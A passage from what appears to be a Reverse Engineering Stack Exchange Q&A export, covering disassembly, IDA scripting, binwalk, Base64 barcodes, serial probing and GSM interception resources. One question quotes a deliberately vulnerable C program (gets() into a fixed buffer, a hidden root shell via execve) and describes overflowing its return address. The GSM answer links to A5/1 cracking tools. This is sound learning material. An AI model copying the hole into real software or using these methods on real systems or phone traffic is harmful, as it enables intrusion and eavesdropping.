        "CreationDate": "2013-10-06T23:42:28.683",
        "Body": "<p>I'm having trouble reverse-engineering a specific Delphi Pascal .exe (old vsn., pre-1995 so probably v.3). From the system calls I understand this is <em>probably</em> a <code>try..except..finally</code> block, but I am at a loss finding the 'normal' route through the code, and what the <code>except</code> and (possibly) <code>finally</code> blocks are.</p>\n\n<p>The assembly looks like this:</p>\n\n<pre><code>782CFC  33 C0                   xor    eax, eax\n782CFE  55                      push   ebp\n782CFF  68 (782E37)             push   _FINALLY_A_0_782E37\n782D04  64 FF 30                push   dword ptr fs:[eax]\n782D07  64 89 20                mov    dword ptr fs:[eax], esp\n\n            _try_0_782D0A:\n782D0A  8B D3                   mov    edx, ebx\n782D0C  8B C6                   mov    eax, esi\n782D0E  E8 D1 F3 FF FF          call   ...unrelated...\n782D13  8D 56 1C                lea    edx, [esi+1Ch]\n.. lots of regular code here ..\n.. ending with ..\n782E17  8B 18                   mov    ebx, dword ptr [eax]\n782E19  FF 53 20                call   dword ptr [ebx+20h]\n\n        finally_1_782E1C:\n782E1C  33 C0                   xor    eax, eax\n782E1E  5A                      pop    edx\n782E1F  59                      pop    ecx\n782E20  59                      pop    ecx\n782E21  64 89 10                mov    dword ptr fs:[eax], edx\n782E24  68 (782E3E)             push   _end_1_782E3E\n\n                @block_L:\n782E29  8D 45 F4                lea    eax, [ebp + local_0C]\n782E2C  BA 02 00 00 00          mov    edx, 2\n782E31  E8 12 E3 F7 FF          call   System.@LStrArrayClr\n782E36  C3                      retn\n\n            _FINALLY_A_0_782E37:\n782E37  E9 B4 E2 F7 FF          jmp    System.@HandleFinally\n\n            _FINALLY_B_0_782E3C:\n782E3C  EB EB                   jmp    @block_L\n                ; -------\n\n            _end_1_782E3E:\n782E3E  5F                      pop    edi\n782E3F  5E                      pop    esi\n782E40  5B                      pop    ebx\n782E41  8B E5                   mov    esp, ebp\n782E43  5D                      pop    ebp\n782E44  C3                      retn\n</code></pre>\n\n<p>-- this is output from my own disassembler, but I don't think there are errors in it. The labels have been auto-named, but I still cannot follow the 'logic' (if any) from one block to the next. In particular, the bottom half, right before the function epilogue, confuses me.</p>\n\n<p>Are these fragments enough to reconstruct the original <code>try</code>..<code>finally</code> blocks?</p>\n\n<hr>\n\n<p>After reading Igor's answer: yes they are. Consider these flowcharts: left, original before special handling of try/finally blocks, right, afterwards.</p>\n\n<p><img src=\"https://i.stack.imgur.com/1B6lK.png\" alt=\"flowcharts\"></p>\n\n<p>In the original flowchart, I considered every jump from one basic block to another as a <em>link</em>, and the code flow stops at every <code>retn</code>. <code>if</code> (E-(F)-K) and <code>if-else</code> (G-H/I-J) structures can clearly be discerned. However, pushing return addresses and the other 'tricks' of exception handling, defeat this, as can be seen by the dangling blocks N and O -- they 'enter' from nowhere --, and a separate block 'M' which comes and goes from nowhere.</p>\n\n<p>At the right, I separated the <em>initialization</em> of the exception block from the main code (adding a new block B), and concatenated the <em>finalize</em> structure into one single new block (M), which ultimately jumps to an AFTER_TRY (which happened to be the last <em>Exit</em> block). Now it's clear that</p>\n\n<ol>\n<li>right after the prologue, a <code>try</code> is initiated;</li>\n<li>all code ends up at the <code>finally</code> block M, which</li>\n<li>then always exists the code at a single fixed point.</li>\n</ol>\n",
        "Title": "Delphi Pascal Try..Except..Finally block",
        "Tags": "|disassembly|decompilation|",
        "Answer": "<p>Delphi implements <code>try</code>/<code>except</code>/<code>finally</code> by using Win32 Structured Exception Handlers (SEH). The basics of SEH are explained in the <a href=\"http://www.microsoft.com/msj/0197/Exception/Exception.aspx\" rel=\"noreferrer\">classic article by Matt Pietrek</a>, so I'll skip to the details relevant to Delphi only.</p>\n\n<h1>1. <code>try</code> entry</h1>\n\n<p>Entry to a <code>try</code> block, or a block which protects automatic variables that need to be destructed on exit (such as strings) looks like the following:</p>\n\n<pre><code>xor     eax, eax\npush    ebp\npush    offset SEH_HANDLER\npush    dword ptr fs:[eax]\nmov     fs:[eax], esp\n</code></pre>\n\n<p>This is a typical way of setting up a SEH frame. After it's run, top of the stack will look like this:</p>\n\n<pre><code>       +-----------+\nESP+00 |    next   | &lt;- fs:[0] points here\n       +-----------+\nESP+04 |  handler  |\n       +-----------+\nESP+08 | saved_ebp |\n       +-----------+\n</code></pre>\n\n<p>The pointer to this structure will be passed to the SEH handler.</p>\n\n<h1>2. <code>try</code> exit</h1>\n\n<p>At the end of the <code>try</code> block, the SEH frame is torn down:</p>\n\n<pre><code>    xor     eax, eax\n    pop     edx               ; pop 'next' into edx\n    pop     ecx               ; pop handler\n    pop     ecx               ; pop saved_ebp\n    mov     fs:[eax], edx     ; move 'next' into fs:[0]\n</code></pre>\n\n<p>If there is a <code>finally</code> handler or automatic destructors, then it continues like this:</p>\n\n<pre><code>    push    offset AFTER_TRY  ; make it so the 'ret' will jump to AFTER_TRY\nFINALLY_HANDLER:\n    &lt;destruct automatic variables created in the try block&gt;\n    &lt;finally handler body&gt;\n    ret                       ; jumps to AFTER_TRY\n</code></pre>\n\n<p>Otherwise there is a simple jump:</p>\n\n<pre><code>    jmp AFTER_TRY\n</code></pre>\n\n<h1>3. <code>finally</code> handler</h1>\n\n<p>In case the program use <code>finally</code> statement, or in case of the <code>try..finally</code> added by the compiler to guard automatic variables, the SEH handler looks like this:</p>\n\n<pre><code>SEH_HANDLER:\n    jmp     _HandleFinally\n    jmp     FINALLY_HANDLER\n</code></pre>\n\n<h1>4. <code>except</code> handler</h1>\n\n<p>If the program uses an <code>except</code> handler to catch all exceptions, the code looks a little different:</p>\n\n<pre><code>SEH_HANDLER:\n    jmp     _HandleAnyException\n    &lt;handler code&gt;\n    call    _DoneExcept\n</code></pre>\n\n<h1>5. <code>except on</code> handlers</h1>\n\n<p>If the program uses <code>except on...</code> to match the exception(s) being caught, the compiler generates a table of one or more possible exception classes with corresponding handlers:</p>\n\n<pre><code>SEH_HANDLER:\n    jmp     _HandleOnException\n    dd &lt;numExceptions&gt;\n    dd offset ExceptionClass1\n    dd offset OnException1_handler\n    dd offset ExceptionClass2\n    dd offset OnException2_handler\n    &lt;...&gt;\n\nOnException1_handler:\n    &lt;handler code&gt;\n    call    _DoneExcept\n\nOnException2_handler:\n    &lt;handler code&gt;\n    call    _DoneExcept\n</code></pre>\n\n<p>There may be some variations, but I think I covered most of it.</p>\n\n<p>The source code of <code>_HandleFinally</code>, <code>_HandleAnyException</code>, <code>_HandleOnException</code>, <code>_DoneExcept</code> and a few other exceptions-related functions can be found in <code>system.pas</code> in the VCL sources.</p>\n"
    },
    {
        "Id": "2897",
        "CreationDate": "2013-10-08T11:41:41.500",
        "Body": "<p>Assuming that I have binary file with code for an unknown CPU, can I somehow detect the CPU architecture? I know that it depends mostly on the compiler, but I think that for most CPU architectures it should be a lot of CALL/RETN/JMP/PUSH/POP opcodes (statistically more than others). Or maybe should I search for some patterns in code specific for a particular CPU (instead of opcode occurrences)?</p>\n",
        "Title": "Tool or data for analysis of binary code to detect CPU architecture",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Two additional methods that haven't been mentioned yet.</p>\n<p><code>binwalk</code>'s disassembly scan (note: <a href=\"https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md#dependencies\" rel=\"nofollow noreferrer\">must have <code>capstone</code> installed</a>)</p>\n<pre><code>Disassembly Scan Options:\n    -Y, --disasm                 Identify the CPU architecture of a file using the capstone disassembler\n    -T, --minsn=&lt;int&gt;            Minimum number of consecutive instructions to be considered valid (default: 500)\n    -k, --continue               Don't stop at the first match\n\n</code></pre>\n<p>Example output (image is ARM LE):</p>\n<pre><code>$ binwalk -Yk image.img\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n3             0x3             ARM executable code, 32-bit, big endian, at least 726 valid instructions\n1048576       0x100000        ARM executable code, 32-bit, little endian, at least 1250 valid instructions\n2099012       0x200744        ARM executable code, 32-bit, little endian, at least 846 valid instructions\n3158316       0x30312C        ARM executable code, 32-bit, little endian, at least 899 valid instructions\n4201328       0x401B70        ARM executable code, 32-bit, little endian, at least 1250 valid instructions\n5253066       0x5027CA        ARM executable code, 16-bit (Thumb), big endian, at least 2499 valid instructions\n6308406       0x604236        ARM executable code, 16-bit (Thumb), little endian, at least 2499 valid instructions\n</code></pre>\n<p><a href=\"https://github.com/airbus-seclab/cpu_rec\" rel=\"nofollow noreferrer\"><code>cpu_rec</code></a></p>\n<p>Can be used as either a standalone tool or a <code>binwalk</code> module.</p>\n<p><code>binwalk</code> usage:</p>\n<pre><code>Statistical CPU guessing Options:\n    -%, --markov                 Identify the CPU opcodes in a file using statistical analysis\n</code></pre>\n<p>Example output, used as a binwalk module (image is ARM LE):</p>\n<pre><code>$ binwalk -% image.img\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             None (size=0x800, entropy=0.757822)\n2048          0x800           CLIPPER (size=0x800, entropy=0.728492)\n4096          0x1000          None (size=0x2000, entropy=0.129643)\n12288         0x3000          ARMel (size=0x35c000, entropy=0.795123)\n3534848       0x35F000        None (size=0x800, entropy=0.797443)\n3536896       0x35F800        ARMel (size=0x16800, entropy=0.834972)\n3629056       0x376000        None (size=0x800, entropy=0.764094)\n3631104       0x376800        ARMel (size=0x16a000, entropy=0.797543)\n5113856       0x4E0800        None (size=0x1800, entropy=0.841936)\n5120000       0x4E2000        ARMel (size=0x1000, entropy=0.812677)\n5124096       0x4E3000        None (size=0x1000, entropy=0.844949)\n5128192       0x4E4000        ARMel (size=0xc000, entropy=0.792995)\n5177344       0x4F0000        None (size=0x24000, entropy=0.763681)\n5324800       0x514000        6502 (size=0x24000, entropy=0.974422)\n5472256       0x538000        None (size=0x137800, entropy=0.728785)\n\n</code></pre>\n"
    },
    {
        "Id": "2904",
        "CreationDate": "2013-10-09T19:39:24.000",
        "Body": "<p>This C++ binary has code snippets and paths to sourcecode files everywhere, which is probably some sort of debug info. </p>\n\n<ul>\n<li>Is this something standard? (Is this RTTI)</li>\n<li>If so, how is this called?</li>\n<li>Are there plugins/tools to help with this?</li>\n</ul>\n\n<p><img src=\"https://i.stack.imgur.com/YYXtD.png\" alt=\"IDA Screenshot of debug info\"></p>\n",
        "Title": "Are those code snippets and file paths in a C++ binary some sort of standard debug information?",
        "Tags": "|ida|c++|debugging-symbols|",
        "Answer": "<p>It has the fingerprint of an <code>assert</code>:</p>\n\n<ol>\n<li>it's called directly after a test;</li>\n<li>it uses a number -- probably a <em>source line number</em> --, a string which points to a file name -- the <em>source file</em> -- and a string that describes an error condition;</li>\n<li>it does not return. (Can be inferred because the inspected value would lead to an erronous situation if the called function returned.)</li>\n</ol>\n\n<p><code>assert</code> is a standard function in most (if not outright all!) standard libraries, and so if your decompiler could recognize which compiler was used, it would have assigned a standard label to <code>sub_6E0D40</code>. Since it didn't, you could trace that address and see if (a) it jumps immediately to an external routine such as Windows' native <code>Assert</code>, or (b) does what an assert does: outputting the error and immediately exiting.</p>\n\n<hr>\n\n<p>Addition: using the stack plus registers ecx and edx seem to indicate this sub is declared \"Microsoft <code>__fastcall</code>\" (<a href=\"http://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_fastcall\">wikipedia</a>).</p>\n"
    },
    {
        "Id": "2907",
        "CreationDate": "2013-10-10T04:08:40.120",
        "Body": "<p>Original question asked on Stackoverflow: <a href=\"https://stackoverflow.com/questions/14976139/can-the-r-be-removed-from-a-function-stack\">Can the 'r' be removed from a function stack ?</a></p>\n\n<p>I am trying to modify the processor for the Fujitsu FR, and IDA by default inserts the return variable <code>r</code> on each stack, but the Fujitsu FR processor does not put <code>r</code> as the first item, so this stuffs up the stack.</p>\n\n<p>What I can't workout is: in the processor plugin, what needs overriding to resolve this, or if any of the example processors have solutions to copy. </p>\n",
        "Title": "Can the 'r' be removed from a function stack",
        "Tags": "|ida|",
        "Answer": "<p>for completeness, implementing <code>get_frame_retsize</code> [<code>int (*get_frame_retsize(func_t *pfn)</code>] in your <code>processor_t LPH</code> is the solution to this.</p>\n\n<p>in that function for my processor I needed to return zero instead of the default of 4.</p>\n"
    },
    {
        "Id": "2911",
        "CreationDate": "2013-10-12T14:54:51.987",
        "Body": "<p>some days ago I took this piece of code from opensecuritytraining.info to test a buffer overflow exploitation:</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n\nchar *secret = \"pepito\";\n\nvoid go_shell(){\n    char *shell = \"/bin/sh\";\n    char *cmd[] = { \"/bin/sh\", 0 };\n    printf(\"\u00bfQuieres jugar a un juego?...\\n\");\n    setreuid(0);\n    execve(shell,cmd,0);\n}\n\nint authorize(){\n    char password[64];\n    printf(\"Escriba la contrase\u00f1a: \");\n    gets(password);\n    if (!strcmp(password,secret))\n        return 1;\n    else\n        return 0;\n}\n\nint main(){\n    if (authorize()){\n        printf(\"Acceso permitido\\n\");\n        go_shell();\n    } else{\n        printf(\"Acceso denegado\\n\");\n    }\n    return 0;\n}\n</code></pre>\n\n<p>The first test before injecting a shellcode was trying to execute the go_shell function without knowing the password, overflowing the return address of main function and pointing it to the location of go_shell.</p>\n\n<p>As far as I understand the stack is divided as below:</p>\n\n<pre><code>[STACK] {Return_address}{EBP}{password_buffer(64)}...\n</code></pre>\n\n<p>So If I store in password_buffer 68 bytes plus the address of go_shell it should overwrite the return address and execute the desired function.</p>\n\n<pre><code>[STACK] {4bytes (Location of go_shell)}{EBP(4 Bytes of junk)}{password_buffer(64)(64 bytes of junk)}...\n</code></pre>\n\n<p>The problem here is that I need to fill the buffer with 76 bytes of junk plus 4 bytes of the address to actually override the return address and point %eip to go_shell. What I don't understand is where do those additional 8 bytes come from?</p>\n\n<p>This is the GDB output before injecting 74 A (0x41) + the address in a breakpont at line if (!strcmp(password,secret)):</p>\n\n<pre><code>EBP:\n0xbffff4a8: 0x41414141  0x0804851c\n\nAAAA + memory_address\n</code></pre>\n\n<p>And continuing to go_shell execution (Breakpoint at void go_shell(){ ):</p>\n\n<p>EIP now points to the last return address overwrited:</p>\n\n<pre><code>(gdb) x/2x $eip\n0x804851c &lt;go_shell&gt;:   0x83e58955  0x45c728ec\n</code></pre>\n\n<p>Any help understanding this?</p>\n\n<p>Regards.</p>\n",
        "Title": "Understanding this Buffer Overflow exploitation",
        "Tags": "|c|exploit|buffer-overflow|",
        "Answer": "<p>If you look at the disassembly of authorize() I'm sure you'll find that the compiler is pushing and restoring more registers than just EBP or aligning the stack. I would recommend that you always look at the disassemly when dealing with overflows of various kinds. The compiler and decompiler, if you use one, hides a lot of details. The disassembly never lies and allows you to make a prediction without resorting to dynamic analysis. I'm a strong proponent of learning with static methods when you're just starting out.</p>\n\n<p>Anyways, whether there's more registers, a stack canary, stack alignment or something else, the disassembly of authorize() will reveal the answer to your question.</p>\n\n<p>For your reference this is the dissembly of the authorize() function using GCC 4.7.3 with -O2.</p>\n\n<pre>\npush    ebx\nsub     esp, 58h\nlea     ebx, [esp+5Ch+password]\nmov     [esp+5Ch+arg0], \"Escriba la contrase\"\ncall    _printf\nmov     [esp+5Ch+arg0], ebx\ncall    _gets\nmov     eax, secret\nmov     [esp+5Ch+arg0], ebx\nmov     [esp+5Ch+arg1], eax\ncall    _strcmp\ntest    eax, eax\nsetz    al\nadd     esp, 58h\nmovzx   eax, al\npop     ebx\nretn\n</pre> \n\n<p>You'll notice that it doesn't use push to move arguments, ebp is unused as a stack frame and the compiler aligns the stack since sum of stack changes is 0x60; return value misaligns by 4, push ebx by 4 more, then sub esp, 0x58 results in 0x60.</p>\n"
    },
    {
        "Id": "2917",
        "CreationDate": "2013-10-15T19:49:10.320",
        "Body": "<p>When using objdump I see the following disassembled code:</p>\n\n<pre><code>8049436:    89 04 24                mov    DWORD PTR [esp],eax\n8049439:    e8 52 f7 ff ff          call   8048b90 &lt;gtk_entry_get_text@plt&gt;\n804943e:    89 44 24 24             mov    DWORD PTR [esp+0x24],eax\n8049442:    eb 01                   jmp    8049445 &lt;gtk_grid_new@plt+0x6c5&gt;\n8049444:    1d c7 04 24 0b          sbb    eax,0xb2404c7\n8049449:    00 00                   add    BYTE PTR [eax],al\n804944b:    00 e8                   add    al,ch\n804944d:    0f f7 ff                maskmovq mm7,mm7\n8049450:    ff eb                   jmp    &lt;internal disassembler error&gt;\n</code></pre>\n\n<p>This is using an obfuscation technique to make the disassembling harder. When I check in gdb I see the real code at 0x8049445:</p>\n\n<pre><code>(gdb) &gt; x/10i 0x8049445\n0x8049445:  mov    DWORD PTR [esp],0xb\n0x804944c:  call   0x8048b60 &lt;raise@plt&gt;\n0x8049451:  jmp    0x8049454\n0x8049453:  sbb    eax,0xfff8a7e8\n</code></pre>\n\n<p>Now, my question is: is it possible to tell objdump that the byte at 0x8049444 can be ignored for the purpose of disassembly? One obvious way is to actually patch the file, but is there another way?</p>\n\n<p>And if not with objdump, are there other tools that can do that? Though I'd rather stay with the basic tools included with Linux so as to familiarize myself with those better.</p>\n",
        "Title": "Deal with obfuscated assembly",
        "Tags": "|disassembly|obfuscation|objdump|",
        "Answer": "<p>As everybody else is saying, in this case it is due to linear sweep.\nHowever, I would like to add that even IDA can be fooled with Junk Bytes and you can only trust the disassembly while debugging a sample. As encoders can change the code on the run, only trust the value on the EIP and nothing else to be correct code.</p>\n"
    },
    {
        "Id": "2928",
        "CreationDate": "2013-10-17T20:37:13.847",
        "Body": "<p>I am trying to do some experimenting with certain system files (DLLs, EXEs) in Windows and would like to know how I can get information about the functions that they contain. I want to be able to call some of them just as if Windows does. How could one do this? </p>\n\n<p>I guess I would need to know what the function names are, and how to call the functions by their names, and what parameters to pass.</p>\n",
        "Title": "How can I locate exported functions of an EXE or DLL?",
        "Tags": "|windows|pe|c++|symbols|",
        "Answer": "<p><strong>TL;DR</strong> you can call anything, locating the right part of code is the hard part.</p>\n<h1>export table</h1>\n<p>If you mean 'just as Windows does', then you mean the functions of the DLL that are available to the others, ie the exported ones? in this case, you need to parse the export table - check <a href=\"http://code.google.com/p/pefile/source/browse/trunk/pefile.py#3349\" rel=\"noreferrer\">pefile</a> for a readable and reliable implementation.</p>\n<h1>locating any function</h1>\n<h2>IDA</h2>\n<p>If you actually mean 'all the functions, including the internal ones', then you need to disassemble and tell the difference from code and data. in this case, your best bet is to open the files in IDA - with symbols preferrably - and export the function list.</p>\n<h2>manually</h2>\n<p>If you want to do that manually, then you need your own smart disassembler, which is far from trivial: sometimes, compilers generate some code that doesn't immediately look like parts of a function.</p>\n<h2>calling identified functions</h2>\n<p>Once you've located the functions, you can just call them directly, without the need of injection, but you have to make sure you have the exact same version of the DLL. <a href=\"https://code.google.com/p/corkami/source/browse/trunk/src/PE/hard_imports.asm\" rel=\"noreferrer\">hard_imports</a> use such a method to call pieces of code directly.</p>\n"
    },
    {
        "Id": "2931",
        "CreationDate": "2013-10-20T08:37:05.090",
        "Body": "<p>I have an indirect call to a function. I traced the program and added the target to the xref, so this works fine. The problem is though, that on the position where the call is, there is no link shown. I thought, that, when I add an XREF, both positions are shown, because this is also the behaviour with the other referenzes, IDA automatically finds out.</p>\n\n<p>To illustrate what I mean:</p>\n\n<p>The call is here without showing me where it points to:</p>\n\n<pre><code>CODE:004A3F07 00C                 call    dword ptr [edx+28h]\n</code></pre>\n\n<p>The xref I added is here showing the link:</p>\n\n<pre><code>CODE:004A3390     DecryptMemory proc near            ; CODE XREF: sub_4A3EC0:loc_4A3F07 P\n</code></pre>\n\n<p>Is it possible to make IDA show the reference on both addresses? I know I can create a manual xref there as well, but then IDA creates a label as well, which makes it a bit confusing, when revisting. I tried to remove the label, but this doesn't work either (would this be possible?).</p>\n",
        "Title": "Adding Backlink for XREF in IDA",
        "Tags": "|ida|",
        "Answer": "<p>You can create a free-form comment mentioning \"004A3390\" at 004A3F07. Anything that remotely resembles a valid reference is clickable in IDA Pro. Double-clicking 004A3390 in your comment will take you to the location.</p>\n"
    },
    {
        "Id": "2933",
        "CreationDate": "2013-10-20T22:48:01.153",
        "Body": "<p>How can i determine the serial protocol of a electric typewriter? some electric typewriters have a serial port in the back and it is a shape that is not commonly used today. I am planing on interfacing the typewriter with a Arduino and using it as a printer.</p>\n\n<p>How do i determine things such as the baud rate, the pinout and the voltage. I already broke one typewriter trying to find out the protocol, I cannot get a owners manual for the typewriters, all of the other guides that i found involved modifying the circuit board and connecting the wires to the keys. I have not been able to find out how a a typewriter with a serial port works.</p>\n\n<p>Here is a picture of the serial port, what type is it?</p>\n\n<p><img src=\"https://i.stack.imgur.com/wr9sP.jpg\" alt=\"enter image description here\"></p>\n",
        "Title": "Determining the serial port protocol of a typewriter",
        "Tags": "|hardware|serial-communication|",
        "Answer": "<p>You may want to perform <a href=\"https://en.wikipedia.org/wiki/Automatic_baud_rate_detection\" rel=\"nofollow\">Automatic baud rate detection</a></p>\n\n<p>There are a couple of projects on github that implement these such as BAUD RATE RS232 DETECTOR EXAMPLE for atmega8</p>\n\n<p>You may also want to use <a href=\"https://github.com/cyphunk/RS232enum\" rel=\"nofollow\">RS232enum</a> that uses Arduino to try to enumerate all serial lines (RX/TX).</p>\n"
    },
    {
        "Id": "2940",
        "CreationDate": "2013-10-24T08:25:38.220",
        "Body": "<p>I am currently looking at a TIFF file generated by a microscope vendor. They store an XML within the TIFF (ImageDescription tag). Within this XML I can find a <code>&lt;barcode&gt;</code> element. But instead of storing the actual barcode (PDF417, DataMatrix) value, they store something else.</p>\n\n<p>I have three samples, first one is a PDF417, the last two are DataMatrix. Decoding the values leads to:</p>\n\n<ol>\n<li><code>04050629C</code></li>\n<li><code>H13150154711A11</code></li>\n<li><code>H13150154512A02</code></li>\n</ol>\n\n<p>while the XML element <code>&lt;barcode&gt;</code> contains (in that order):</p>\n\n<ol>\n<li><code>MDQwNTA2MjlD</code></li>\n<li><code>SDEzMTUwMTU0NzExQTEx</code></li>\n<li><code>SDEzMTUwMTU0NTEyQTAy</code></li>\n</ol>\n\n<p>What type of encoding is this ?</p>\n",
        "Title": "Storing barcodes as ASCII",
        "Tags": "|encodings|",
        "Answer": "<p>The type of encoding is Base64 encoding.</p>\n\n<pre><code>$ echo MDQwNTA2MjlD | base64 -d\n04050629C\n\n$ echo SDEzMTUwMTU0NzExQTEx | base64 -d\nH13150154711A11\n</code></pre>\n"
    },
    {
        "Id": "2943",
        "CreationDate": "2013-10-24T09:15:59.983",
        "Body": "<p>Is it possible to paste a series of bytes into hex view of IDA? Say I have a large buffer I need to fill with a specific value, and I have it in the form most hex editors output... 0A AB EF FF 00 01... is there some quick way to write this value to a segment of the hex view? Or do this through IDAPython?</p>\n\n<p><strong>Edit:</strong></p>\n\n<p>Solved using PatchByte as suggested below:</p>\n\n<pre><code>def PatchArr(dest, str):\n  for i, c in enumerate(str):\n    idc.PatchByte(dest+i, ord(c));\n\n# usage: patchArr(start address, string of bytes to write)\npatchArr(0xCAFEBABE, \"\\x01\\x02\\x03\")\n</code></pre>\n\n<p>Note that I am not a fan of edits to volatile debug memory causing IDA to complain about the IDB being patched post-debug...</p>\n",
        "Title": "Paste hex bytes into IDA Pro Hex View",
        "Tags": "|ida|python|idapython|hex|memory|",
        "Answer": "<p>Below are two functions from <a href=\"https://bitbucket.org/Alexander_Hanel/fwrapper/src/\" rel=\"nofollow\">fwrapper</a> that give examples on how to patch IDBs and import data from a file. I'd recommend checking out the code. I use it all the time for samples that decodes/decrypts data or when I have to manually dump a block of memory and patch an IDB.</p>\n\n<pre><code>def patch(self, temp = None):\n    '''patch idb with data in fwrapper.buffer'''\n    if temp != None:\n            self.buffer = temp\n    for index, byte in enumerate(self.buffer):\n         PatchByte(self.start+index, ord(byte))\n\ndef importb(self):\n    '''import file to save to buffer'''\n    fileName = AskFile(0, \"*.*\", 'Import File')\n    try:\n        self.buffer = open(fileName, 'rb').read()\n    except:\n        sys.stdout.write('ERROR: Cannot access file')\n</code></pre>\n"
    },
    {
        "Id": "2956",
        "CreationDate": "2013-10-26T16:24:56.680",
        "Body": "<p>Scenario: </p>\n\n<ul>\n<li>Two devices have wireless connect. ( like wi-fi )</li>\n<li>Probably encrypted. ( like wi-fi's WPA2 )</li>\n</ul>\n\n<p>Which instruments are best for discovering carrier frequency?</p>\n\n<p>How encrypted-text should be gathered to attack on it ( kind of software, e.g. something like <a href=\"http://br1.einfach.org/tech/horst/\" rel=\"nofollow\">horst</a>, but more broad )?</p>\n",
        "Title": "Attack on wireless interconnection",
        "Tags": "|tools|hardware|encryption|physical-attacks|",
        "Answer": "<p>If \"something like wi-fi\" means it's radio but not really 802.11, you might want to take a look at Software Defined Radio projects. As the question isn't really clear, your mileage may vary. </p>\n\n<p>There are numerous hardware tools you can use. \nFrom relatively expensive tools like <a href=\"http://nuand.com/bladeRF\" rel=\"nofollow\">bladeRF</a> and <a href=\"http://greatscottgadgets.com/hackrf/\" rel=\"nofollow\">hackRF</a> to really cheap alternatives like <a href=\"http://sdr.osmocom.org/trac/wiki/rtl-sdr\" rel=\"nofollow\">rtl-sdr</a>. You'd probably need to do some research on how to actually use them for what you want. </p>\n"
    },
    {
        "Id": "2962",
        "CreationDate": "2013-10-27T07:15:54.770",
        "Body": "<p>I would like to know what is needed to intercept GSM communications with an <a href=\"http://en.wikipedia.org/wiki/Universal_Software_Radio_Peripheral\">USRP</a> (Universal Software Radio Peripheral) and using <a href=\"http://gnuradio.org/\">Gnu Radio</a>.</p>\n\n<ul>\n<li>Is there tutorial about that ?</li>\n<li>What type of USRP is recommended ?</li>\n<li>Where to find technical documentation about the GSM protocols ?</li>\n<li>Is there already existing tools to break the A5/1 encryption ?</li>\n<li>...</li>\n</ul>\n\n<p>All in one, my question is more about looking for advices about \"<strong>where to start ?</strong>\" when trying to understand GSM communication.</p>\n",
        "Title": "Intercepting GSM communications with an USRP and Gnu Radio",
        "Tags": "|radio-interception|gnu-radio|",
        "Answer": "<p>As mentioned above by 0xea, <a href=\"https://twitter.com/domi007\">@domi007</a> published 4 blog posts (<a href=\"http://domonkos.tomcsanyi.net/?p=418\">1</a>,<a href=\"http://domonkos.tomcsanyi.net/?p=422\">2</a>,<a href=\"http://domonkos.tomcsanyi.net/?p=425\">3</a>,<a href=\"http://domonkos.tomcsanyi.net/?p=428\">4</a>) detailing his experience with GSM sniffing and cracking. He also published his <a href=\"https://www.youtube.com/watch?v=3cnnQFP3VqE\">recorded presentation</a> about GSM security (<a href=\"http://camp.hsbp.org/2013/zer0/gsm.pdf\">slides</a>). \nOn the same topic, there's also <a href=\"http://binaryrf.com/viewtopic.php?t=6&amp;f=9\">Sniffing GSM with HackRF</a>, <a href=\"http://www.rtl-sdr.com/rtl-sdr-tutorial-analyzing-gsm-with-airprobe-and-wireshark/\">Analyzing GSM with Airprobe and Wireshark</a>, three Chaos Computer Club presentations (One discussing <a href=\"https://www.youtube.com/watch?v=ZrbatnnRxFc\">Wideband GSM sniffing</a>, another discussing the <a href=\"https://www.youtube.com/watch?v=9wwco24EsHs\">functioning of GSM networks</a>) and the one mentioned <a href=\"https://events.ccc.de/congress/2009/Fahrplan/events/3654.en.html\">above</a> about GSM Cracking. Last but not least, there's also a Black Hat 2008 Presentation called \"Intercepting Mobile Phone/GSM Traffic\", by David Hulton and Steve <a href=\"http://www.blackhat.com/html/featured_media/bh08-002-Stream-1.mov\">video (.mov)</a>.\nObservation : There's also <a href=\"https://srlabs.de/airprobe-how-to/\">this tutorial by Srlabs</a>, which uses their own tool, Kraken, that covers decrypting GSM using Airprobe and the <a href=\"https://svn.berlin.ccc.de/projects/airprobe/wiki/A\">Airprobe's own tutorial</a> on decoding GSM.\nWhen choosing your SDR, I suggest you read <a href=\"http://www.taylorkillian.com/2013/08/sdr-showdown-hackrf-vs-bladerf-vs-usrp.html\">this comparison</a> about <a href=\"http://greatscottgadgets.com/hackrf/\">HackRF</a>, <a href=\"http://nuand.com/\">bladeRF</a> and the <a href=\"https://www.ettus.com/product/details/UB210-KIT\">USRP B210</a>. There is also <a href=\"http://sdr.osmocom.org/trac/wiki/rtl-sdr\">RTL-SDR</a> . They are all quite nice. I also suggest using <a href=\"http://gqrx.dk/\">Gqrx</a> as it's built on Gnuradio and has a neat interface.</p>\n\n<p>Architecture and theory wise, I'd recommend <a href=\"https://docs.google.com/viewer?url=http://www2.informatik.hu-berlin.de/~goeller/isdn/GSMDmChannels.pdf\">About GSM Dm Channels</a>, which is a quite complete and detailed beginner paper that explains the GSM Architecture and how it works. I also recommend <a href=\"http://rads.stackoverflow.com/amzn/click/0470030704\">GSM - Architecture, Protocols and Services</a> and <a href=\"http://rads.stackoverflow.com/amzn/click/B004W7DNWY\">4G: LTE/LTE-Advanced for Mobile Broadband</a> (if considering LTE), which provide further information and details about the functioning of GSM for those that want to delve into it.</p>\n\n<p>Regarding GSM Encryption and its flaws, I suggest <a href=\"https://docs.google.com/viewer?url=http%3A%2F%2Fwww.cs.technion.ac.il%2Fusers%2Fwwwb%2Fcgi-bin%2Ftr-get.cgi%2F2006%2FCS%2FCS-2006-07.pdf\">Instant Ciphertext-Only Cryptanalysis of GSM Encrypted Communication</a>, which discusses ciphertext attacks on A5/(1,2,3), <a href=\"https://docs.google.com/viewer?url=http://www.emsec.rub.de/media/crypto/attachments/files/2010/04/da_gendrullis.pdf\">Hardware-based Cryptanalysis of the GSM A5/1 Encryption Algorithm</a> - includes a 2 page brief on A5/1 and then goes on to the cryptoanalysis - and <a href=\"https://docs.google.com/viewer?url=http://cryptome.org/a5-3-attack.pdf\">A Practical-Time Attack on the A5/3 Cryptosystem Used in Third Generation GSM Telephony</a> - discusses attacks on A5/3. Finally, there is also <a href=\"http://cryptome.org/a51-bsw.htm\">Real Time Cryptanalysis of A5/1 on a PC</a>, a very nice document called <a href=\"http://www.researchgate.net/publication/235339185_Security_of_3G_and_LTE\">Security of 3G and LTE</a> that discusses the security architecture and the attacks on it's flaws, and <a 